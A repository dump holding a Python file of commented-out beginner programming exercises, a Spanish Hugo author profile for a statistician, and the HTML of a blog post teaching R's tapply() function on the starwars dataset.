# m[b].append(v)
# else:
# v=float(v)
# m[b].append(v)
# n+=1
# n=0
# b+=1
# c+=1
# print(m)
# x=[1,2,3,[1,2,3],[1,1,"6"]]
# y=[]
# for i in x:
# if i in "1234567890":
# v=int(i)
# y.append(v)
# elif type(i)==[]:
# x=1
# y=2
# c=4
# while c!=0:
# if c%2==0:
# print(x,y,x,y)
# else:
# print(y,x,y,x)
# c-=1
# x=int(input())
# y=int(input())
# c=0
# while x!=0:
# x-=y
# c+=1
# print(c)
# x=int(input())
# y=int(input())
# m=[]
# c=0
# n=0
# b=0
# while c!=x:
# m.append([])
# while n!=y:
# v=input()
# if v in "1234567890":
# v=int(v)
# m[b].append(v)
# n+=1
# n=0
# b+=1
# c+=1
# print(m)
# =======================================================================================================
# frist Q1:>
# n=int(input())
# for i in range(1,n+1):
# for j in range(n,0,-1):
# if i>=j:
# print("*",end="")
# else:
# print(" ",end="")
# print()
# n=int(input())
# for i in range(1,n+1):
# for j in range(n,i,-1):
# print(" ",end="")
# for v in range(0,i):
# print("*",end="")
# print()
#Second Q2:>
# n=input()
# m=""
# for i in n:
# m=i+m
# if n==m:
# print("Yes! this is Palindrome")
# else:
# print("No! this is not Palindrome")
# Theird Q3:>
# n=int(input())
# for i in range(1,n+1):
# for x in range(1,10+1):
# print(i,"*",x,"=",i*x)
# print()
# forth Q4:>
# n=int(input())
# f=1
# i=1
# while i<=n:
# f=f*i
# i+=1
# print(f)
# n=int(input())
# f=1
# for i in range(1,n+1):
# f=f*i
# print(f)
#fifth Q5:>
# n=int(input("print your fan seric:"))
# a = 0
# b = 1
# i = 0
# while i < n:
# print(a)
# c=a+b
# a=b
# b=c
# i+=1
# n=int(input("print your fabancci seric:"))
# a = 0
# b = 1
# for i in range(n):
# print(a,end=",")
# c=a+b
# a=b
# b=c
# print()
# n=int(input())
# c=0
# i=1
# while i<=n:
# m=int(input())
# c=m+c
# i+=1
# print(c)
# list1=list(input())
# lit2=list(input())
# for i in lit2:
# for j in list1:
# if (i==j):
# list1.remove(i)
# print(list1)
# def my_function(x):
# return list(dict.fromkeys(x))
# mylist = my_function(["a", "b", "a", "c", "c"])
# def my_function(x):
# return x[::-1]
# mytxt = my_function("I wonder how this text looks like backwards")
# print(mytxt)
# x=int(input("HOW MANY LIST YOU WANT:>"))
# m=[]
# b=0
# for i in x:
# y=int(input("HOW MANY ITEAMS YOU WANT PUT:>"))
# m.append([])
# for i in y:
# v=input()
# if v in ("1234567890"):
# v=int(v)
# m[b].append(v)
# elif if (v >="a" and v<="z") or (v>="A" and v<="Z"):
# m[b].append(v)
# else:
# v=float(v)
# m[b].append(v)
# b+=1
# c+=1
# print(m)
# li=[i for i in range(100) if i%2==0]
# print(li)
# n=int(input())
# # s=0
# for s in range(1,n):
# # while s!=1 and s!=4:
# # s=0
# for s in range(n):
# # while n>0:
# t=n%10
# s+=(t*t)
# n=n//10
# n=s
# if s==1:
# print("happy")
# else:
# print("not happy")
# n=int(input())
# i=2
# while n>=i:
# if n%i==0:
# print("No P")
# break
# i+=1
# else:
# print("YES P")
# n=int(input("check your number:> "))
# i=2
# while i<n:
# if n%i==0:
# print("Prime nhi hai ")
# break
# i+=1
# else:
# print("Prime hai ")
# n=int(input("check your number:> "))
# c=0
# for i in range(1,n+1):
# if n%i==0:
# c+=1
# if c==2:
# print("Prime hai")
# else:
# print("Prime nhi hai")
# n=int(input("check your number:> "))
# c=0
# x=2
# while x<=n/2:
# if n%x==0:
# c=1
# break
# x+=1
# if c==0:
# print("Prime hai")
# else:
# print("Prime nhi hai")
#Fallten list
# l1=[[1,2,3,4,4,4,9],[9,8,6,],[4,2,6,8,5]]
# l2=[]
# for i in l1:
# for j in i:
# l2.append(j)
# print(l2)
# l1=[1,2,3,4,[1,2,3,4,4,4,9],1,2,3]
# l2=[]
# for i in l1:
# l2.append(i)
# if type(i)==list:
# for j in i:
# l2.append(j)
# else:
# l2.remove(i)
# print(l2)
#Extra Question
# ni=int(input("how many times you want to added:> "))
# new_list=[]
# i=0
# while i<ni:
# n=int(input("number of times:> "))
# new_list.append(n)
# i+=1
# print(new_list)
#frist question
# a = [1,2,3,4,5,6,7,8]
# b = [a[-1]]+a[:-1]
# print("old list:",a)
# a = (b)
# print("new list:",a)
# second question
# v=int(input())
# i=0
# a=[]
# while i<v:
# print("Enter number")
# num = input()
# a.append(num)
# i = i+1
# n = input("check your number\n")
# if n in a:
# print("Yes")
# else:
# print("No")
# third question
#len function code:>
# v=["vishal",24,7,9,5]
# v="123456734567"
# c=0
# for i in v:
# c+=1
# print(c)
# v1="123456734567"
# print(sum(1 for ch in v1))
# sm = [23, 45, 89, 90, 56, 80]
# l = len(sm)
# i = 0
# tm = 0
# # for i in sm:
# while i < len(sm):
# tm = sm[i] + tm
# i = i + 1
# print ("Total Marks: " + str(tm))
# name = ["Savitri", "Phule", "26"]
# print (name[0]+" "+name[1])
# name = ["Savitri", "Phule", "26"]
# c=0
# while c!=name:
# c+=1
# print(c)
# n=int(input())
# n1=int(input())
# c=0
# co=0
# while c<n1:
# co=co+n
# c+=1
# print(co)
# v = [23, 45, 89, 29, 56, 80]
# for i in v:
# if i>20 and i<40:
# print(v.index(i))
# v=int(input())
# i=0
# a=0
# while i<50:
# a,i=a,b
# c=a+c
# print(c)
# i+=1
# l1=[1,2,3,[4,6],[2,5]]
# newl=[]
# for i in l1:
# newl.append(i)
# if type(i)==list:
# for j in i:
# newl.append(j)
# print(newl)
# l1=[1,2,3,4,[1,2,3,4,4,4,9],1,2,3]
# l2=[]
# for i in l1:
# l2.append(i)
# if type(i)==list:
# for j in i:
# l2.append(j)
# if type(i)==list:
# for j in i:
# l2.append(j)
# else:
# l2.remove(i)
# print(l2)
# print("Welcome to the Indusind Bank")
# pin=int(input("enter your 4 digit pin"))
# if pin==2020:
# print("1.withdraw")
# print("2.balance enquiry")
# print("3.deposit")
# print("4.exit")
# a=int(input())
# if a==1:
# print("enter amount ")
# amount=int(input())
# print("transaction successful")
# print("your remaining amount is", 1000-amount)
# elif a==2:
# print("1000")
# elif a==3:
# print("enter your deposit amount")
# amount=int(input())
# print("your currently amount is",1000+amount)
# elif a==4:
# print("thank you")
# else:
# print("cash is not in the ATM")
# else:
# print("wrong pin")
# player1=input("")
# player2=input("")
# if player1=="stone" and player2=="paper":
# print("player2 won the game")
# elif player1=="stone" and player2=="scissor":
# print("player1 won the game")
# elif player1=="paper" and player2=="stone":
# print("player1 won the game")
# elif player1=="paper" and player2=="scissor":
# print("player2 won the game")
# elif player1=="scissor" and player2=="stone":
# print("player2 won the game")
# elif player1=="scissor" and player2=="paper":
# print("player1 won the game")
# else:
# print("draw the game")
# a=20
# b=int(input("enter the number"))
# if a==b:
# print("you won the game")
# else:
# print("try again")
# c=int(input("enter the number"))
# if a==c:
# print("you won the game")
# else:
# print("try again")
# d=int(input("enter the number"))
# if a==d:
# print("you won the game")
# else:
# print("you lost the game try to next time")
# a=20
# t=0
# for i in range(3):
# b=int(input("enter the number"))
# if a==b:
# print("you won the game")
# break
# elif b<a:
# print("try again")
# t+=1
# else:
# print("try again")
# t+=1
# if t>2:
# print("you lose the game")
<file_sep># import random
# print("welcome to hangman")
# t=open("r.text")
# r=t.readlines()
# w=random.randint(0,1)
# w=r[w]
# l=0
# wo=""
# z=""
# while l!=10 or w != wo :
# x=input("guss your letter: ")
# if x in w:
# print("your gess is wright")
# c=0
# for i in w:
# b=" "
# if i==x:
# p=(z+i)
# wo+=p
# print(wo)
# else:
# c+=1
# z=b*c
# else:
# print("good luck for next time")
# l+=1
#
# def x(h):
# if h in [1,0]:
# return 1
# else:
# return x(h-1)+x(h-2)
# print(x(int(input())))
# s,j=[],int(input())
# for i in range(1,(j//2)+1):
# s.extend([i,13*i,7+(i-1)])
# print(s[j-1])
# x,c=list(map(int,input().split())),0
# for i in x:
# x.pop(0)
# if i in x:
# c+=1
# print(c)
# y,x=int(input()),int(input())
# for i in range(1,(min(x,y)+1)):
# if x%i==0 and y%i==0:
# d=i
# print((x*y)//d,"LCM","\n",d,"HCF")
# x=[15,7,11,2]
# y=11
# b=0
# for i in range(len(x)):
# if b==1:
# break
# else:
# for u in range(len(x)):
# if i==u:
# continue
# if y==x[i]+x[u]:
# print(i,u)
# b=1
# a=input()
# a=list(a)
# count=0
# l=0
# while a:
# a.remove(a[l])
# count+=1
# print(count)
# ,"span",class_="secondaryInfo","span",class_="secondaryInfo","td",class_="ratingColumn imdbRating","strong",title="9.2 based on 2,320,529 user ratings"
# title="<NAME> (dir.), <NAME>, <NAME>"
# import requests
# from bs4 import BeautifulSoup
# x="https://www.imdb.com/chart/top/?ref_=nv_mv_250"
# v=requests.get(x).text
# with open("r.text","w") as h:
# h.write(v)
# h.close()
# s=BeautifulSoup(v,"html.parser")
# f=s.find('tbody',class_="lister-list").find_all('tr')
# # q=f.find_all('tr')
# print(f)
# x=input()
# x=list(x)
# res=[]
# i=['1','2','3','4','5','6','7','8','9','0']
# ii=i
# f=['1','2','3','4','5','6','7','8','9','0','.']
# c=['q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m','1','2','3','4','5','6','7','8','9','0']
# for p in x:
# if p in i:
# i.remove(p)
# continue
# print(i)
# if i in ii:
# print("int")
# if res in s:
# print("string")
# if res in f:
# print("float")
# while (i>0):
# n=n+(i%10)*(i%10)*(i%10)
# i=i//10
# if res in c:
# print("complex")
# if x in "1234567890.":
# r+=1
# if len(i)==q:
# print("int")
# else:
# print(q)
# if len(x)==w:
# print('string')
# if len(x)==r:
# print("float")
# print(len([1,2,3])/2)
# y=[]
# z=0
# s=input()
# s=list(s)
# xx=-1
# for i in s:
# x=s.pop()
# if x in s:
# for i in s:
# print(i)
# if i==x:
# y.insert(z,i)
# s.remove(i)
# y.insert(xx,i)
# z+=1
# xx-=1
# yu=""
# for i in y:
# yu+=i
# print(yu)
# a=[]
# X=input()
# x=list(X)
# d=0
# if len(x)>2:
# for i in X:
# p=x.pop(0)
# if i in x:
# a.append(i)
# for u in x:
# print(a,u)
# if i==u:
# a.append(i)
# u=a
# a.reverse()
# print(a)
# if a==u:
# d=1
# print("".join(a))
# break
# else:
# break
# else:
# a.append(u)
# if d==1:
# break
# else:
# if len(x)==2:
# if x[0]==x[1]:
# print("".join(x))
# else:
# print(x[0])
# else:
# print(x[0])
# a=[1,2,3,4,5,6,7,8,9]
# aa=[]
# for i in a:
# b=max(a)
# c=min(a)
# aa.append(b)
# aa.append(c)
# a.remove(b)
# a.remove(c)
# print(aa)
#
# h="hgfg"
# t=list("hf")
# x=list("hgfg")
# for i in t:
# for u in x:
# if u !=i:
# print(h.replace(i,"_"))
# print(k)
# break
print(h)
|
7dfaaf2ed6261e85cccf116c54d52baa2c27397a
|
[
"Python",
"CSS"
] | 14 |
Python
|
rajeshwer-20/all-file
|
fab35c801d82e2d229e392da7693d8e939008429
|
1483ff3c3d2c0ee6c8a068b71402f17faf25182b
|
refs/heads/master
|
<repo_name>cgamboasanabria/Website<file_sep>/content/es/authors/admin/_index.md
---
# Display name
name: <NAME>
# Username (this should match the folder name)
authors:
- admin
# Is this the primary user of the site?
superuser: true
# Role/position
role: Analista de datos
# Organizations/Affiliations
organizations:
- name: Instituto Nacional de Estadística y Censos
url: "www.inec.go.cr"
- name: Universidad de Costa Rica
url: "http://estadistica.ucr.ac.cr/index.php/es/"
- name: R-Bloggers
url: "https://www.r-bloggers.com/2020/03/apply-family-functions-part-4/"
# Short bio (displayed in user profile at end of posts)
bio: Mi campo de estudio es la estadística, especialmente en pronósticos, análisis de clasificación y temas demográficos con enfoque en programación.
interests:
- Estadística
- Análisis de datos
- Programación
- Pronósticos
- Creación y depuración de bases de datos
- Minería de datos
education:
courses:
- course: Maestría Académica en Estadística
institution: Universidad de Costa Rica
year: 2018-presente
- course: Especialización en Análisis Demográfico para el Desarrollo Sostenible
institution: CELADE-CEPAL
year: 2020
- course: Bachillerato en Estadística
institution: Universidad de Costa Rica
year: 2017
# Social/Academic Networking
# For available icons, see: https://sourcethemes.com/academic/docs/widgets/#icons
# For an email link, use "fas" icon pack, "envelope" icon, and a link in the
# form "mailto:<EMAIL>" or "#contact" for contact widget.
social:
- icon: envelope
icon_pack: fas
link: '#contact' # For a direct email link, use "mailto:<EMAIL>".
mailto: <EMAIL>
- icon: twitter
icon_pack: fab
link: https://twitter.com/gamboasanabria
- icon: linkedin
icon_pack: fab
link: https://www.linkedin.com/in/cgamboasanabria/
- icon: github
icon_pack: fab
link: https://github.com/cgamboasanabria
# Link to a PDF of your resume/CV from the About widget.
# To enable, copy your resume/CV to `static/files/cv.pdf` and uncomment the lines below.
- icon: cv
icon_pack: ai
link: files/CV.pdf
- icon: youtube
icon_pack: fab
link: https://www.youtube.com/channel/UCUNLO5uWG-naqKm17utC69w
# Enter email to display Gravatar (if Gravatar enabled in Config)
email: ""
# Organizational groups that you belong to (for People widget)
# Set this to `[]` or comment out if you are not using People widget.
user_groups:
- Researchers
- Visitors
---
Nacido en San José, Costa Rica en 1989, <NAME> es un Estadístico egresado de la Escuela de Estadística de la Universidad de Costa Rica. Profesor universitario de Probabilidad y Estadística, además de programación en el lenguaje R, es también un investigador de temas demográficos dedicado a la utilización de algoritmos para la optimización de procesos y el análisis por medio de simulaciones computacionales.
Reconocido por su capacidad de análisis estadístico, manejo de distintos software y lenguajes de programación para análisis de datos como R, Python, Git, o Unix. Versatil para la automatización de procesos mediante algoritmos especializados, capacidad analítica y matemática y gran facilidad para el aprendizaje de forma autodidacta.
<file_sep>/public/en/post/2019-07-31-tapply/index.html
<!DOCTYPE html>
<html lang="en-us">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="generator" content="Source Themes Academic 4.3.1">
<meta name="author" content="<NAME>">
<meta name="description" content="The tapply function in data analysis.">
<link rel="alternate" hreflang="es" href="/es/post/2019-07-31-tapply/">
<link rel="alternate" hreflang="en-us" href="/en/post/2019-07-31-tapply/">
<meta name="theme-color" content="#3f51b5">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/academicons/1.8.6/css/academicons.min.css" integrity="<KEY> crossorigin="anonymous">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.6.0/css/all.css" integrity="<KEY>" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.2.5/jquery.fancybox.min.css" integrity="<KEY> crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.6/styles/github.min.css" crossorigin="anonymous" title="hl-light">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.6/styles/dracula.min.css" crossorigin="anonymous" title="hl-dark" disabled>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/leaflet/1.2.0/leaflet.css" integrity="<KEY> crossorigin="anonymous">
<link rel="stylesheet" href="//fonts.googleapis.com/css?family=Lato:400,700|Merriweather|Roboto+Mono">
<link rel="stylesheet" href="/css/academic.min.6fb0665a835e482cbcda17fe0fc04296.css">
<script>
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
ga('create', 'UA-141652833-1 ', 'auto');
ga('require', 'eventTracker');
ga('require', 'outboundLinkTracker');
ga('require', 'urlChangeTracker');
ga('send', 'pageview');
</script>
<script async src="//www.google-analytics.com/analytics.js"></script>
<script async src="https://cdnjs.cloudflare.com/ajax/libs/autotrack/2.4.1/autotrack.js" integrity="<KEY> crossorigin="anonymous"></script>
<link rel="manifest" href="/site.webmanifest">
<link rel="icon" type="image/png" href="/img/icon.png">
<link rel="apple-touch-icon" type="image/png" href="/img/icon-192.png">
<link rel="canonical" href="/en/post/2019-07-31-tapply/">
<meta property="twitter:card" content="summary">
<meta property="twitter:site" content="@gamboasanabria">
<meta property="twitter:creator" content="@gamboasanabria">
<meta property="og:site_name" content="caesaR's">
<meta property="og:url" content="/en/post/2019-07-31-tapply/">
<meta property="og:title" content="Apply family functions - Part 2 | caesaR's">
<meta property="og:description" content="The tapply function in data analysis."><meta property="og:image" content="/img/icon-192.png">
<meta property="og:locale" content="en-us">
<meta property="article:published_time" content="2020-09-29T18:55:57-06:00">
<meta property="article:modified_time" content="2020-09-29T18:55:57-06:00">
<title>Apply family functions - Part 2 | caesaR's</title>
</head>
<body id="top" data-spy="scroll" data-target="#TableOfContents" data-offset="71" >
<aside class="search-results" id="search">
<div class="container">
<section class="search-header">
<div class="row no-gutters justify-content-between mb-3">
<div class="col-6">
<h1>Search</h1>
</div>
<div class="col-6 col-search-close">
<a class="js-search" href="#"><i class="fas fa-times-circle text-muted" aria-hidden="true"></i></a>
</div>
</div>
<div id="search-box">
<input name="q" id="search-query" placeholder="Search..." autocapitalize="off"
autocomplete="off" autocorrect="off" role="textbox" spellcheck="false" type="search">
</div>
</section>
<section class="section-search-results">
<div id="search-hits">
</div>
</section>
</div>
</aside>
<nav class="navbar navbar-light fixed-top navbar-expand-lg py-0" id="navbar-main">
<div class="container">
<a class="navbar-brand" href="/en">caesaR's</a>
<button type="button" class="navbar-toggler" data-toggle="collapse"
data-target="#navbar" aria-controls="navbar" aria-expanded="false" aria-label="Toggle navigation">
<span><i class="fas fa-bars"></i></span>
</button>
<div class="collapse navbar-collapse" id="navbar">
<ul class="navbar-nav mr-auto">
<li class="nav-item">
<a class="nav-link " href="/en/#about"><span>Home</span></a>
</li>
<li class="nav-item">
<a class="nav-link " href="/en/#experience"><span>Experience</span></a>
</li>
<li class="nav-item">
<a class="nav-link " href="/en/#posts"><span>Posts</span></a>
</li>
<li class="nav-item">
<a class="nav-link " href="/en/#talks"><span>Activities</span></a>
</li>
<li class="nav-item">
<a class="nav-link " href="/en/#contact"><span>Contact</span></a>
</li>
</ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link js-search" href="#"><i class="fas fa-search" aria-hidden="true"></i></a>
</li>
<li class="nav-item dropdown">
<a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown" aria-haspopup="true">
<i class="fas fa-globe" aria-hidden="true"></i>
<span>English</span>
</a>
<ul class="dropdown-menu">
<li class="dropdown-item my-0 py-0 mx-0 px-0">
<a href="/es/post/2019-07-31-tapply/">
<span>Español</span>
</a>
</li>
</ul>
</li>
<li class="nav-item">
<a class="nav-link js-dark-toggle" href="#"><i class="fas fa-moon" aria-hidden="true"></i></a>
</li>
</ul>
</div>
</div>
</nav>
<article class="article" itemscope itemtype="http://schema.org/Article">
<div class="article-container pt-3">
<h1 itemprop="name">Apply family functions - Part 2</h1>
<p class="page-subtitle">The tapply() function</p>
<meta content="2020-09-29 18:55:57 -0600 CST" itemprop="datePublished">
<meta content="2020-09-29 18:55:57 -0600 CST" itemprop="dateModified">
<div class="article-metadata">
<div>
<span itemprop="author name" itemtype="http://schema.org/Person"><NAME></span>
</div>
<span class="article-date">
<time>Sep 29, 2020</time>
</span>
<span class="middot-divider"></span>
<span class="article-reading-time">
13 min read
</span>
<span class="middot-divider"></span>
<a href="/en/post/2019-07-31-tapply/#disqus_thread"></a>
<span class="middot-divider"></span>
<span class="article-categories">
<i class="fas fa-folder"></i>
<a href="/en/categories/r-basics/">R basics</a></span>
<div class="share-box" aria-hidden="true">
<ul class="share">
<li>
<a class="twitter"
href="https://twitter.com/intent/tweet?text=Apply%20family%20functions%20-%20Part%202&url=%2fen%2fpost%2f2019-07-31-tapply%2f"
target="_blank" rel="noopener">
<i class="fab fa-twitter"></i>
</a>
</li>
<li>
<a class="facebook"
href="https://www.facebook.com/sharer.php?u=%2fen%2fpost%2f2019-07-31-tapply%2f"
target="_blank" rel="noopener">
<i class="fab fa-facebook-f"></i>
</a>
</li>
<li>
<a class="linkedin"
href="https://www.linkedin.com/shareArticle?mini=true&url=%2fen%2fpost%2f2019-07-31-tapply%2f&title=Apply%20family%20functions%20-%20Part%202"
target="_blank" rel="noopener">
<i class="fab fa-linkedin-in"></i>
</a>
</li>
<li>
<a class="weibo"
href="http://service.weibo.com/share/share.php?url=%2fen%2fpost%2f2019-07-31-tapply%2f&title=Apply%20family%20functions%20-%20Part%202"
target="_blank" rel="noopener">
<i class="fab fa-weibo"></i>
</a>
</li>
<li>
<a class="email"
href="mailto:?subject=Apply%20family%20functions%20-%20Part%202&body=%2fen%2fpost%2f2019-07-31-tapply%2f">
<i class="fas fa-envelope"></i>
</a>
</li>
</ul>
</div>
</div>
</div>
<div class="article-container">
<div class="article-style" itemprop="articleBody">
<script src="/rmarkdown-libs/header-attrs/header-attrs.js"></script>
<p>In this second part of the post series on the apply family of functions, it is the <code>tapply()</code> function. Unlike the <code>apply ()</code> function discussed in the first post, the <code>tapply()</code> function is often used to apply a function to subsets of a vector. Usually, when working with databases, there are variables of different nature, some can be numerical, others categorical, the idea of <code>tapply()</code> is to obtain summaries of a vector but being grouped concerning other vectors (variables).</p>
<p>On this occasion, we will use the starwars database seen in the post on the <code>inspectdf</code> package again.</p>
<p>If we need to know the average height of the characters, execute the following command.</p>
<pre class="r"><code>mean(starwars$height, na.rm = TRUE)</code></pre>
<pre><code>## [1] 174.358</code></pre>
<p>However, it is more valuable to obtain the average height according to another variable of interest that allows us to make some comparison, such as gender. For this, we can use the <code>tapply()</code> function.</p>
<pre class="r"><code>tapply(X=starwars$height,
INDEX=starwars$gender,
FUN=mean) </code></pre>
<pre><code>## feminine masculine
## NA NA</code></pre>
<p>The <em>NA</em> that appear are due to missing values within the database, so the <code>mean()</code> function does not calculate the average correctly unless an imputation of these missing values is made or indicated that the <code>mean()</code> function must omit the missing values using the argument <code>na.rm = TRUE</code>. In most of the <code>apply</code> family functions, the arguments that belong to the function being applied (in this case <code>mean()</code>) must go after the <code>FUN</code> argument.</p>
<pre class="r"><code>tapply(X=starwars$height,
INDEX=starwars$gender,
FUN=mean,
na.rm=TRUE) </code></pre>
<pre><code>## feminine masculine
## 164.6875 176.5161</code></pre>
<p>The <code>tapply()</code> function is not limited to a single grouping variable. The same “dimensions” concept that we discuss in the <code>apply ()</code> function can be used to <code>tapply()</code>, but this time the grouping variables must be specified within a list. As an example, suppose we are interested in the average height according to gender and eye color.</p>
<pre class="r"><code>tapply(X=starwars$height,
INDEX=list(starwars$eye_color, starwars$gender),
FUN=mean,
na.rm=TRUE)</code></pre>
<pre><code>## feminine masculine
## black 195.5 182.0000
## blue 167.0 189.7500
## blue-gray NA 182.0000
## brown 160.0 167.3846
## dark NA NaN
## gold NA 191.0000
## green, yellow NA 216.0000
## hazel 178.0 170.0000
## orange NA 180.5000
## pink NA 180.0000
## red NA 154.8000
## red, blue 96.0 NA
## unknown NA 136.0000
## white NA NA
## yellow 168.0 178.8000</code></pre>
<p>We can add more grouping variables, but all of them must be within the list. For example, it is possible to grouping also by the skin color, although in this case, the result would show many missing values because not all combinations exist. That is a demonstration that each time we grouping variables, these groupings should make sense; otherwise, the analysis will not be useful.</p>
<pre class="r"><code>tapply(X=starwars$height,
INDEX=list(starwars$eye_color, starwars$gender, starwars$skin_color),
FUN=mean,
na.rm=TRUE)</code></pre>
<pre><code>## , , blue
##
## feminine masculine
## black NA NA
## blue NA 196
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel 178 NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , blue, grey
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 115.5
##
## , , brown
##
## feminine masculine
## black NA NA
## blue NA 234.0
## blue-gray NA NA
## brown NA 129.5
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 198.0
##
## , , brown mottle
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 180
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , brown, white
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA 216
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , dark
##
## feminine masculine
## black NA NA
## blue 184 NA
## blue-gray NA NA
## brown NA 183.3333
## dark NA NaN
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , fair
##
## feminine masculine
## black NA NA
## blue 158.5 180.8571
## blue-gray NA 182.0000
## brown 163.0 185.3333
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA 170.0000
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , fair, green, yellow
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow 168 NA
##
## , , gold
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 167
##
## , , green
##
## feminine masculine
## black NA 184.5
## blue NA NA
## blue-gray NA NA
## brown NA 66.0
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 206.0
## pink NA NA
## red NA 190.0
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 183.0
##
## , , green-tan, brown
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 175
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , green, grey
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA 193
## white NA NA
## yellow NA NA
##
## , , grey
##
## feminine masculine
## black 213 198.3333
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA 191.0000
## green, yellow NA NA
## hazel NA NA
## orange NA 224.0000
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , grey, blue
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA 79
## white NA NA
## yellow NA NA
##
## , , grey, green, yellow
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 163
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , grey, red
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 112
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , light
##
## feminine masculine
## black NA NA
## blue 165.00 176.5
## blue-gray NA NA
## brown 159.25 185.5
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NaN NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , metal
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA 200
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , mottled green
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA 191
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , none
##
## feminine masculine
## black NA NaN
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , orange
##
## feminine masculine
## black NA 188
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 196
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , pale
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 188
## pink NA 180
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 184
